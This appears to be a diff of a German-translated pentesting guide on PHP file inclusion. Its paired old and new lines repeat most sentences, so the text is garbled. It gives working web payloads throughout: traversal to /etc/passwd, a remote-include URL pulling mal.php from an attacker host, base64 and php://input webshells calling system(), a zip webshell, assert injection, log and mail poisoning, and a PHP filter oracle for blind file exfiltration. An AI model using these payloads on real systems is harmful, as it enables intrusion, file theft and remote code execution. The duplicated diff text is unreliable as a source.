In diesen Szenarien kann die Anzahl der erforderlichen Traversals etwa 2027 betragen, aber diese Zahl kann je nach Konfiguration des Servers variieren.
In diesen Szenarien könnte die Anzahl der erforderlichen Traversals etwa 2027 betragen, aber diese Zahl kann je nach Konfiguration des Servers variieren.
- **Verwendung von Punktsegmenten und zusätzlichen Zeichen**:
Traversierungssequenzen (`../`), kombiniert mit zusätzlichen Punktsegmenten und Zeichen, können verwendet werden, um das Dateisystem zu navigieren und dabei die vom Server angehängten Zeichenketten zu ignorieren.
* **Verwendung von Punktsegmenten und zusätzlichen Zeichen**: Traversierungssequenzen (`../`) in Kombination mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um das Dateisystem zu navigieren und dabei die vom Server angehängten Zeichenfolgen effektiv zu ignorieren.
* **Ermittlung der erforderlichen Anzahl von Traversals**: Durch Ausprobieren kann man die genaue Anzahl von `../`-Sequenzen finden, die benötigt werden, um zum Stammverzeichnis und dann zu `/etc/passwd` zu navigieren, wodurch sichergestellt wird, dass angehängte Zeichenfolgen (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) intakt bleibt.
* **Beginn mit einem falschen Verzeichnis**: Es ist eine gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis zu beginnen (wie `a/`). Diese Technik wird als Vorsichtsmaßnahme verwendet oder um die Anforderungen der Pfadanalyselogik des Servers zu erfüllen.
- **Ermittlung der erforderlichen Anzahl von Traversals**:
Durch Ausprobieren kann man die genaue Anzahl der `../`-Sequenzen ermitteln, die benötigt werden, um zum Stammverzeichnis und dann zu `/etc/passwd` zu navigieren. Dabei wird sichergestellt, dass angehängte Zeichenketten (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) intakt bleibt.
Bei der Verwendung von Pfadtrunkierungstechniken ist es entscheidend, das Pfadanalysenverhalten des Servers und die Dateisystemstruktur zu verstehen. Jedes Szenario erfordert möglicherweise einen anderen Ansatz, und Tests sind oft erforderlich, um die effektivste Methode zu finden.
- **Beginn mit einem falschen Verzeichnis**:
Es ist üblich, den Pfad mit einem nicht existierenden Verzeichnis zu beginnen (wie z.B. `a/`). Diese Technik wird als Vorsichtsmaßnahme oder zur Erfüllung der Anforderungen der Pfad-Analyse-Logik des Servers verwendet.
Bei der Verwendung von Pfad-Truncation-Techniken ist es wichtig, das Pfad-Analyse-Verhalten des Servers und die Dateisystemstruktur zu verstehen. Jedes Szenario erfordert möglicherweise einen anderen Ansatz, und Tests sind oft erforderlich, um die effektivste Methode zu finden.
**Diese Sicherheitslücke wurde in PHP 5.3 behoben.**
**Diese Schwachstelle wurde in PHP 5.3 behoben.**
### **Filterumgehungs-Tricks**
```
@ -183,14 +164,14 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion (Ferndatei-Einschluss)
## Remote File Inclusion
In PHP ist dies standardmäßig deaktiviert, da **`allow_url_include`** auf **Off** gesetzt ist. Es muss auf **On** gesetzt sein, damit es funktioniert. In diesem Fall könnten Sie eine PHP-Datei von Ihrem Server einbinden und RCE erhalten:
In PHP ist dies standardmäßig deaktiviert, da **`allow_url_include`** auf **Aus** gesetzt ist. Es muss auf **Ein** gesetzt sein, damit es funktioniert, und in diesem Fall könnten Sie eine PHP-Datei von Ihrem Server einbinden und RCE erhalten:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Wenn aus irgendeinem Grund **`allow_url_include`** **aktiviert** ist, aber PHP den Zugriff auf externe Webseiten **filtert**, [laut diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) könnten Sie beispielsweise das Datenprotokoll mit Base64 verwenden, um einen b64 PHP-Code zu decodieren und RCE zu erhalten:
Wenn aus irgendeinem Grund **`allow_url_include`** aktiviert ist, aber PHP den Zugriff auf externe Webseiten **filtert**, [gemäß diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), könnten Sie beispielsweise das data-Protokoll mit Base64 verwenden, um einen b64 PHP-Code zu decodieren und RCE zu erhalten:
{% code overflow="wrap" %}
```
@ -199,18 +180,18 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
{% endcode %}
{% hint style="info" %}
Im vorherigen Code wurde das abschließende `+.txt` hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die mit `.txt` endet. Dadurch endet die Zeichenkette damit und nach dem b64-Decodieren wird dieser Teil nur Müll zurückgeben und der echte PHP-Code wird eingefügt (und somit ausgeführt).
In dem vorherigen Code wurde das abschließende `+.txt` hinzugefügt, weil der Angreifer einen String benötigte, der mit `.txt` endet. So endet der String damit und nach dem b64-Decodieren wird dieser Teil nur Müll zurückgeben und der echte PHP-Code wird eingeschlossen (und folglich ausgeführt).
{% endhint %}
Ein weiteres Beispiel, **ohne das `php://`-Protokoll** zu verwenden, wäre:
Ein weiteres Beispiel **ohne Verwendung des `php://`-Protokolls** wäre:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
{% endcode %}
## Python Root-Element
## Python-Stammelement
In Python, in einem Code wie diesem:
In Python in einem Code wie diesem:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
@ -222,15 +203,15 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
```
Es ist das beabsichtigte Verhalten gemäß [der Dokumentation](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Wenn ein Bestandteil ein absoluter Pfad ist, werden alle vorherigen Bestandteile verworfen und das Verbinden wird vom absoluten Pfadbestandteil fortgesetzt.
> Wenn ein Bestandteil ein absoluter Pfad ist, werden alle vorherigen Bestandteile verworfen und das Verknüpfen wird vom absoluten Pfadbestandteil fortgesetzt.
## Java-Verzeichnis auflisten
## Java Verzeichnisse auflisten
Es scheint, dass bei einem Path Traversal in Java und wenn Sie nach einem **Verzeichnis anstatt einer Datei fragen**, eine **Auflistung des Verzeichnisses zurückgegeben wird**. Dies geschieht in anderen Sprachen nicht (soweit ich weiß).
Es scheint, dass bei einem Pfadtraversal in Java und wenn Sie nach einem **Verzeichnis fragen** anstelle einer Datei, eine **Auflistung des Verzeichnisses zurückgegeben wird**. Dies geschieht in anderen Sprachen nicht (soweit ich weiß).
## Top 25 Parameter
Hier ist eine Liste der 25 wichtigsten Parameter, die anfällig für lokale Dateieinschluss (LFI) Schwachstellen sein könnten (von [Link](https://twitter.com/trbughunters/status/1279768631845494787)):
Hier ist eine Liste der 25 wichtigsten Parameter, die anfällig für lokale Dateieinschließungs (LFI) Schwachstellen sein könnten (von [Link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -258,27 +239,27 @@ Hier ist eine Liste der 25 wichtigsten Parameter, die anfällig für lokale Date
?mod={payload}
?conf={payload}
```
## LFI / RFI mit PHP-Wrappern und Protokollen
## LFI / RFI mit PHP-Wrappern & Protokollen
### php://filter
PHP-Filter ermöglichen grundlegende **Änderungsoperationen an den Daten**, bevor sie gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:
PHP-Filter ermöglichen grundlegende **Änderungsvorgänge an den Daten** vor dem Lesen oder Schreiben. Es gibt 5 Kategorien von Filtern:
* [String-Filter](https://www.php.net/manual/en/filters.string.php):
* `string.rot13`
* `string.toupper`
* `string.tolower`
* `string.strip_tags`: Entfernt Tags aus den Daten (alles zwischen "<" und ">" Zeichen)
* Beachten Sie, dass dieser Filter in modernen Versionen von PHP nicht mehr vorhanden ist.
* Beachten Sie, dass dieser Filter in modernen Versionen von PHP verschwunden ist.
* [Konversionsfilter](https://www.php.net/manual/en/filters.convert.php)
* `convert.base64-encode`
* `convert.base64-decode`
* `convert.quoted-printable-encode`
* `convert.quoted-printable-decode`
* `convert.iconv.*` : Wandelt in eine andere Codierung um (`convert.iconv.<input_enc>.<output_enc>`). Um die **Liste aller unterstützten Codierungen** zu erhalten, führen Sie in der Konsole aus: `iconv -l`
* `convert.iconv.*` : Wandelt in eine andere Kodierung um (`convert.iconv.<input_enc>.<output_enc>`). Um die **Liste aller unterstützten Kodierungen** zu erhalten, führen Sie im Terminal aus: `iconv -l`
{% hint style="warning" %}
Durch Missbrauch des Konversionsfilters `convert.iconv.*` können Sie **beliebigen Text generieren**, der nützlich sein könnte, um beliebigen Text zu schreiben oder eine Funktion wie das Einbinden von beliebigem Text zu erstellen. Weitere Informationen finden Sie unter [**LFI2RCE über PHP-Filter**](lfi2rce-via-php-filters.md).
Durch den Missbrauch des Konversionsfilters `convert.iconv.*` können Sie **beliebigen Text generieren**, der nützlich sein könnte, um beliebigen Text zu schreiben oder eine Funktion wie das Einbinden von beliebigem Text zu erstellen. Weitere Informationen finden Sie unter [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
{% endhint %}
* [Kompressionsfilter](https://www.php.net/manual/en/filters.compression.php)
@ -290,7 +271,7 @@ Durch Missbrauch des Konversionsfilters `convert.iconv.*` können Sie **beliebig
* Andere Filter
* Wenn Sie in PHP `var_dump(stream_get_filters());` ausführen, finden Sie ein paar **unerwartete Filter**:
* `consumed`
* `dechunk`: kehrt die HTTP chunked-Kodierung um
* `dechunk`: kehrt die HTTP-Chunk-Codierung um
* `convert.*`
```php
# String Filters
@ -319,9 +300,27 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
{% hint style="warning" %}
Der Teil "php://filter" ist nicht case-sensitive.
Der Teil "php://filter" ist nicht case sensitive.
{% endhint %}
### Verwendung von PHP-Filtern als Orakel zum Lesen beliebiger Dateien
In [**diesem Beitrag**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne die Ausgabe vom Server zurückzuerhalten. Diese Technik basiert auf einer **booleschen Exfiltration der Datei (Zeichen für Zeichen) unter Verwendung von PHP-Filtern** als Orakel. Dies liegt daran, dass PHP-Filter verwendet werden können, um einen Text groß genug zu machen, um PHP eine Ausnahme auslösen zu lassen.
Im Originalbeitrag finden Sie eine ausführliche Erklärung der Technik, aber hier ist eine kurze Zusammenfassung:
- Verwenden Sie den Codec **`UCS-4LE`**, um das führende Zeichen des Textes am Anfang zu belassen und die Größe des Strings exponentiell zu erhöhen.
- Dies wird verwendet, um einen **Text so groß zu generieren, dass PHP einen Fehler auslöst, wenn der Anfangsbuchstabe richtig geraten wird**.
- Der **dechunk**-Filter wird **alles entfernen, wenn das erste Zeichen kein Hexadezimalwert ist**, sodass wir wissen, ob das erste Zeichen hexadezimal ist.
- Dies, in Kombination mit dem vorherigen (und anderen Filtern, die je nach geratenem Buchstaben verwendet werden), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genug Transformationen durchführen, um sicherzustellen, dass es sich nicht um ein hexadezimales Zeichen handelt. Denn wenn es hexadezimal ist, wird es von dechunk nicht gelöscht und die anfängliche Bombe wird einen PHP-Fehler auslösen.
- Der Codec **convert.iconv.UNICODE.CP930** wandelt jeden Buchstaben in den nächsten um (also nach diesem Codec: a -> b). Dies ermöglicht es uns zu erkennen, ob der erste Buchstabe beispielsweise ein `a` ist, denn wenn wir 6 Mal diesen Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe nicht mehr ein hexadezimales Zeichen, daher wird er von dechunk nicht gelöscht und der PHP-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.
- Durch die Verwendung anderer Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu leaken (und es können andere Codecs verwendet werden, um andere Buchstaben in den Hex-Bereich zu verschieben).
- Wenn der anfängliche Buchstabe eine Zahl ist, muss sie base64-codiert werden und die ersten 2 Buchstaben geleakt werden, um die Zahl zu leaken.
- Das endgültige Problem besteht darin zu sehen, **wie mehr als der anfängliche Buchstabe geleakt werden kann**. Durch die Verwendung von Ordnungsspeicherfiltern wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und andere Buchstaben des Textes an die erste Position zu bringen.
- Und um **weitere Daten** zu erhalten, besteht die Idee darin, **am Anfang 2 Bytes Junk-Daten zu generieren** mit **convert.iconv.UTF16.UTF16**, dann **UCS-4LE** anzuwenden, um es mit den nächsten 2 Bytes zu **pivotieren**, und die Daten bis zu den Junk-Daten zu **löschen** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie damit fort, bis Sie das gewünschte Bit zum Leaken erreichen.
Im Beitrag wurde auch ein Tool geleakt, um dies automatisch durchzuführen: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
### php://fd
Dieser Wrapper ermöglicht den Zugriff auf Dateideskriptoren, die der Prozess geöffnet hat. Möglicherweise nützlich, um den Inhalt geöffneter Dateien zu exfiltrieren:
@ -329,12 +328,12 @@ Dieser Wrapper ermöglicht den Zugriff auf Dateideskriptoren, die der Prozess ge
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Sie können auch **php://stdin, php://stdout und php://stderr** verwenden, um auf die **Dateideskriptoren 0, 1 und 2** zuzugreifen (ich bin mir nicht sicher, wie dies bei einem Angriff nützlich sein könnte).
Du kannst auch **php://stdin, php://stdout und php://stderr** verwenden, um auf die **Dateideskriptoren 0, 1 und 2** jeweils zuzugreifen (nicht sicher, wie dies bei einem Angriff nützlich sein könnte)
### zip:// und rar://
Laden Sie eine Zip- oder Rar-Datei mit einer PHPShell hoch und greifen Sie darauf zu.\
Um das RAR-Protokoll missbrauchen zu können, **muss es speziell aktiviert sein**.
Lade eine Zip- oder Rar-Datei mit einer PHPShell hoch und greife darauf zu.\
Um das rar-Protokoll missbrauchen zu können, **muss es speziell aktiviert sein**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -351,23 +350,7 @@ http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
Die `data://`-Methode ermöglicht es, Daten direkt in eine URL einzubetten, anstatt auf eine externe Ressource zu verweisen. Dies kann nützlich sein, um Daten in einer URL zu transportieren, ohne dass eine separate Datei benötigt wird.
Um die `data://`-Methode zu verwenden, muss der Dateninhalt in Base64 codiert werden. Dies kann mit verschiedenen Tools oder Programmiersprachen erreicht werden. Der Base64-codierte Dateninhalt wird dann in der URL angegeben, gefolgt von einem MIME-Typ, der den Inhaltstyp angibt.
Ein Beispiel für die Verwendung der `data://`-Methode ist:
```html
<img src="data:image/png;base64,iVBORw0KG..."/>
```
In diesem Beispiel wird ein Bild in der URL eingebettet. Der Base64-codierte Inhalt des Bildes wird nach `base64,` angegeben, gefolgt von `image/png`, um den MIME-Typ des Bildes anzugeben.
Es ist wichtig zu beachten, dass die Verwendung der `data://`-Methode dazu führen kann, dass die URL sehr lang wird, insbesondere bei größeren Dateninhalten. Dies kann zu Problemen führen, wenn die URL-Länge begrenzt ist.
Darüber hinaus kann die Verwendung der `data://`-Methode Sicherheitsrisiken mit sich bringen, insbesondere wenn Benutzereingaben nicht ordnungsgemäß validiert werden. Angreifer könnten versuchen, schädlichen Code in die URL einzufügen und so eine Remote-Code-Ausführung oder andere Angriffe durchzuführen.
Es ist daher wichtig, die Eingaben ordnungsgemäß zu validieren und zu filtern, um potenzielle Sicherheitslücken zu vermeiden.
Die `data://`-Methode ermöglicht es, Daten direkt in die URL einzubetten, was nützlich sein kann, um Daten in einem URI-Format anzuzeigen. Dies kann für Angriffe auf Dateieinschlüsse verwendet werden, um bösartige Daten in die Anwendung einzufügen.
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
@ -377,7 +360,7 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Beachten Sie, dass dieses Protokoll durch die PHP-Konfigurationen **`allow_url_open`** und **`allow_url_include`** eingeschränkt ist.
Beachten Sie, dass dieses Protokoll durch PHP-Konfigurationen **`allow_url_open`** und **`allow_url_include`** eingeschränkt ist.
### expect://
@ -388,13 +371,13 @@ http://example.com/index.php?page=expect://ls
```
### Eingabe://
Geben Sie Ihre Payload in den POST-Parametern an:
Geben Sie Ihr Payload in den POST-Parametern an:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
Eine `.phar`-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie `include` zum Laden von Dateien verwendet. Der untenstehende PHP-Codeausschnitt zeigt die Erstellung einer `.phar`-Datei:
Eine `.phar`-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie `include` zum Laden von Dateien nutzt. Der unten bereitgestellte PHP-Code-Schnipsel zeigt die Erstellung einer `.phar`-Datei:
```php
<?php
$phar = new Phar('test.phar');
@ -407,13 +390,13 @@ Um die `.phar`-Datei zu kompilieren, sollte der folgende Befehl ausgeführt werd
```bash
php --define phar.readonly=0 create_path.php
```
Bei der Ausführung wird eine Datei mit dem Namen `test.phar` erstellt, die potenziell zur Ausnutzung von Local File Inclusion (LFI)-Schwachstellen verwendet werden kann.
Bei der Ausführung wird eine Datei mit dem Namen `test.phar` erstellt, die potenziell zur Ausnutzung von Local File Inclusion (LFI)-Schwachstellen verwendet werden könnte.
In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführung des PHP-Codes durch Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` durchführt, kann versucht werden, eine Deserialisierungsschwachstelle auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des `phar`-Protokolls verbunden.
In Fällen, in denen die LFI nur Dateilesevorgänge ohne Ausführung des PHP-Codes innerhalb durchführt, beispielsweise über Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()`, könnte versucht werden, eine Deserialisierungsschwachstelle auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien über das `phar`-Protokoll verbunden.
Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungsschwachstellen im Zusammenhang mit `.phar`-Dateien siehe das unten verlinkte Dokument:
[Leitfaden zur Ausnutzung der Deserialisierung von Phar](phar-deserialization.md)
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
{% content-ref url="phar-deserialization.md" %}
[phar-deserialization.md](phar-deserialization.md)
@ -423,64 +406,63 @@ Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungsschwachs
Überprüfen Sie weitere mögliche [**Protokolle, die hier eingefügt werden können**](https://www.php.net/manual/en/wrappers.php)**:**
* [php://memory und php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Schreiben in den Speicher oder in eine temporäre Datei (nicht sicher, wie dies bei einem Dateieinschlussangriff nützlich sein kann)
* [php://memory und php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Schreiben im Speicher oder in einer temporären Datei (nicht sicher, wie dies bei einem Dateieinschlussangriff nützlich sein kann)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Zugriff auf das lokale Dateisystem
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Zugriff auf HTTP(s)-URLs
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Zugriff auf FTP(s)-URLs
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Komprimierungsstreams
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Suchen von Pfadnamen, die dem Muster entsprechen (gibt nichts Druckbares zurück, daher hier nicht wirklich nützlich)
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressions-Streams
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Suchen von Pfadnamen, die zu einem Muster passen (gibt nichts Druckbares zurück, daher hier nicht wirklich nützlich)
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audiostreams (nicht nützlich zum Lesen beliebiger Dateien)
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio-Streams (nicht nützlich zum Lesen beliebiger Dateien)
## LFI über PHP's 'assert'
Das Risiko von Local File Inclusion (LFI) in PHP ist besonders hoch, wenn die Funktion 'assert' verwendet wird, die Code in Zeichenketten ausführen kann. Dies ist besonders problematisch, wenn Eingaben, die Verzeichnistraversierungszeichen wie ".." enthalten, überprüft, aber nicht ordnungsgemäß bereinigt werden.
Local File Inclusion (LFI)-Risiken in PHP sind besonders hoch, wenn es um die 'assert'-Funktion geht, die Code in Zeichenfolgen ausführen kann. Dies ist besonders problematisch, wenn Eingaben, die Verzeichnistraversierungszeichen wie ".." enthalten, überprüft, aber nicht ordnungsgemäß bereinigt werden.
Zum Beispiel könnte der PHP-Code so konzipiert sein, dass Verzeichnistraversierung verhindert wird, wie folgt:
Beispielsweise könnte PHP-Code so gestaltet sein, um Verzeichnistraversierung zu verhindern, wie folgt:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Obwohl dies darauf abzielt, Traversal zu stoppen, schafft es unbeabsichtigt einen Vektor für Code-Injection. Um dies auszunutzen und Dateiinhalte zu lesen, könnte ein Angreifer Folgendes verwenden:
Während dies darauf abzielt, Traversierung zu stoppen, schafft es unbeabsichtigt einen Vektor für Code-Injektion. Um dies auszunutzen und Dateiinhalte zu lesen, könnte ein Angreifer Folgendes verwenden:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Ebenso kann man zur Ausführung beliebiger Systembefehle Folgendes verwenden:
Ebenso könnte man zur Ausführung beliebiger Systembefehle Folgendes verwenden:
```plaintext
' and die(system("id")) or '
```
Es ist wichtig, diese Payloads **URL-codiert** zu verwenden.
Es ist wichtig, diese Payloads **URL-codiert**.
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
**Hacking Insights**\
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.
**Hacking-Einblicke**\
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen
**Echtzeit-Hack-News**\
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden
**Neueste Ankündigungen**\
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert.
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert
**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
## PHP Blind Path Traversal
{% hint style="warning" %}
Diese Technik ist relevant in Fällen, in denen Sie den Dateipfad einer PHP-Funktion **kontrollieren**, die auf eine Datei zugreifen wird, deren Inhalt Sie jedoch nicht sehen können (wie ein einfacher Aufruf von **`file()`**), aber der Inhalt wird nicht angezeigt.
Diese Technik ist relevant in Fällen, in denen Sie den Dateipfad einer PHP-Funktion **kontrollieren**, die auf eine Datei zugreifen wird, deren Inhalt Sie jedoch nicht sehen werden (wie ein einfacher Aufruf von **`file()`**), aber der Inhalt nicht angezeigt wird.
{% endhint %}
In [**diesem unglaublichen Beitrag**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blinder Pfadtraversal über den PHP-Filter missbraucht werden kann, um den Inhalt einer Datei über ein Fehlerorakel zu **exfiltrieren**.
In [**diesem unglaublichen Beitrag**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blinder Pfadtraversal über den PHP-Filter missbraucht werden kann, um den Inhalt einer Datei über ein Fehlerorakel **auszuleiten**.
Zusammenfassend wird die Technik verwendet, um die Datei mit der **"UCS-4LE-Codierung"** so **groß** zu machen, dass die PHP-Funktion, die die Datei öffnet, einen **Fehler auslöst**.
Zusammenfassend wird die Technik verwendet, um die Datei mit der **"UCS-4LE"-Codierung** so **groß** zu machen, dass die **PHP-Funktion, die die Datei öffnet**, einen **Fehler auslöst**.
Um das erste Zeichen zu leaken, wird der Filter **`dechunk`** zusammen mit anderen wie **base64** oder **rot13** verwendet, und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** verwendet, um andere Zeichen am Anfang zu platzieren und sie zu leaken.
Dann wird zur Offenlegung des ersten Zeichens der Filter **`dechunk`** zusammen mit anderen wie **base64** oder **rot13** verwendet und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** verwendet, um **andere Zeichen am Anfang zu platzieren und sie auszuleiten**.
**Anfällige Funktionen**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (nur Ziel mit Lesezugriff)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**Anfällige Funktionen**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (nur Ziel schreibgeschützt damit)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Für technische Details lesen Sie den genannten Beitrag!
Für technische Details überprüfen Sie den genannten Beitrag!
## LFI2RCE
@ -490,15 +472,15 @@ Wie zuvor erklärt, [**folgen Sie diesem Link**](./#remote-file-inclusion).
### Über Apache/Nginx-Logdatei
Wenn der Apache- oder Nginx-Server anfällig für LFI ist und die Include-Funktion verwendet, können Sie versuchen, auf **`/var/log/apache2/access.log` oder `/var/log/nginx/access.log`** zuzugreifen. Geben Sie im **User-Agent** oder in einem **GET-Parameter** eine PHP-Shell wie **`<?php system($_GET['c']); ?>`** ein und inkludieren Sie diese Datei.
Wenn der Apache- oder Nginx-Server anfällig für LFI innerhalb der Include-Funktion ist, könnten Sie versuchen, auf **`/var/log/apache2/access.log` oder `/var/log/nginx/access.log`** zuzugreifen, setzen Sie innerhalb des **User-Agent** oder innerhalb eines **GET-Parameters** eine PHP-Shell wie **`<?php system($_GET['c']); ?>`** und inkludieren Sie diese Datei
{% hint style="warning" %}
Beachten Sie, dass **wenn Sie doppelte Anführungszeichen** für die Shell anstelle von **einfachen Anführungszeichen** verwenden, die doppelten Anführungszeichen für den String "_**quote;**_" modifiziert werden, **PHP dort einen Fehler auslöst** und **nichts anderes ausgeführt wird**.
Beachten Sie, dass **wenn Sie doppelte Anführungszeichen** für die Shell anstelle von **einfachen Anführungszeichen** verwenden, die doppelten Anführungszeichen für den String "_**quote;**_" modifiziert werden, **PHP wird dort einen Fehler werfen** und **nichts anderes wird ausgeführt**.
Stellen Sie außerdem sicher, dass Sie die Payload **korrekt schreiben**, da PHP jedes Mal einen Fehler auslöst, wenn es versucht, die Protokolldatei zu laden, und Sie keine zweite Gelegenheit haben werden.
{% endhint %}
Dies kann auch in anderen Protokollen durchgeführt werden, aber **seien Sie vorsichtig**, der Code in den Protokollen könnte URL-codiert sein und dies könnte die Shell zerstören. Der Header **Authorization "Basic"** enthält "Benutzer:Passwort" in Base64 und wird in den Protokollen decodiert. Die PHPShell könnte in diesen Header eingefügt werden.\
Dies könnte auch in anderen Protokollen durchgeführt werden, aber **seien Sie vorsichtig**, der Code in den Protokollen könnte URL-codiert sein und dies könnte die Shell zerstören. Der Header **authorisation "basic"** enthält "Benutzer:Passwort" in Base64 und wird in den Protokollen decodiert. Die PHPShell könnte in diesen Header eingefügt werden.\
Andere mögliche Protokollpfade:
```python
/var/log/apache2/access.log
@ -515,27 +497,27 @@ Fuzzing-Wortliste: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzi
### Über E-Mail
**Senden Sie eine E-Mail** an ein internes Konto (user@localhost) mit Ihrem PHP-Payload wie `<?php echo system($_REQUEST["cmd"]); ?>` und versuchen Sie, die E-Mail des Benutzers mit einem Pfad wie **`/var/mail/<BENUTZERNAME>`** oder **`/var/spool/mail/<BENUTZERNAME>`** einzuschließen.
**Senden Sie eine E-Mail** an ein internes Konto (user@localhost) mit Ihrem PHP-Payload wie `<?php echo system($_REQUEST["cmd"]); ?>` und versuchen Sie, die E-Mail des Benutzers mit einem Pfad wie **`/var/mail/<USERNAME>`** oder **`/var/spool/mail/<USERNAME>`** einzuschließen.
### Über /proc/\*/fd/\*
1. Laden Sie viele Shells hoch (zum Beispiel: 100).
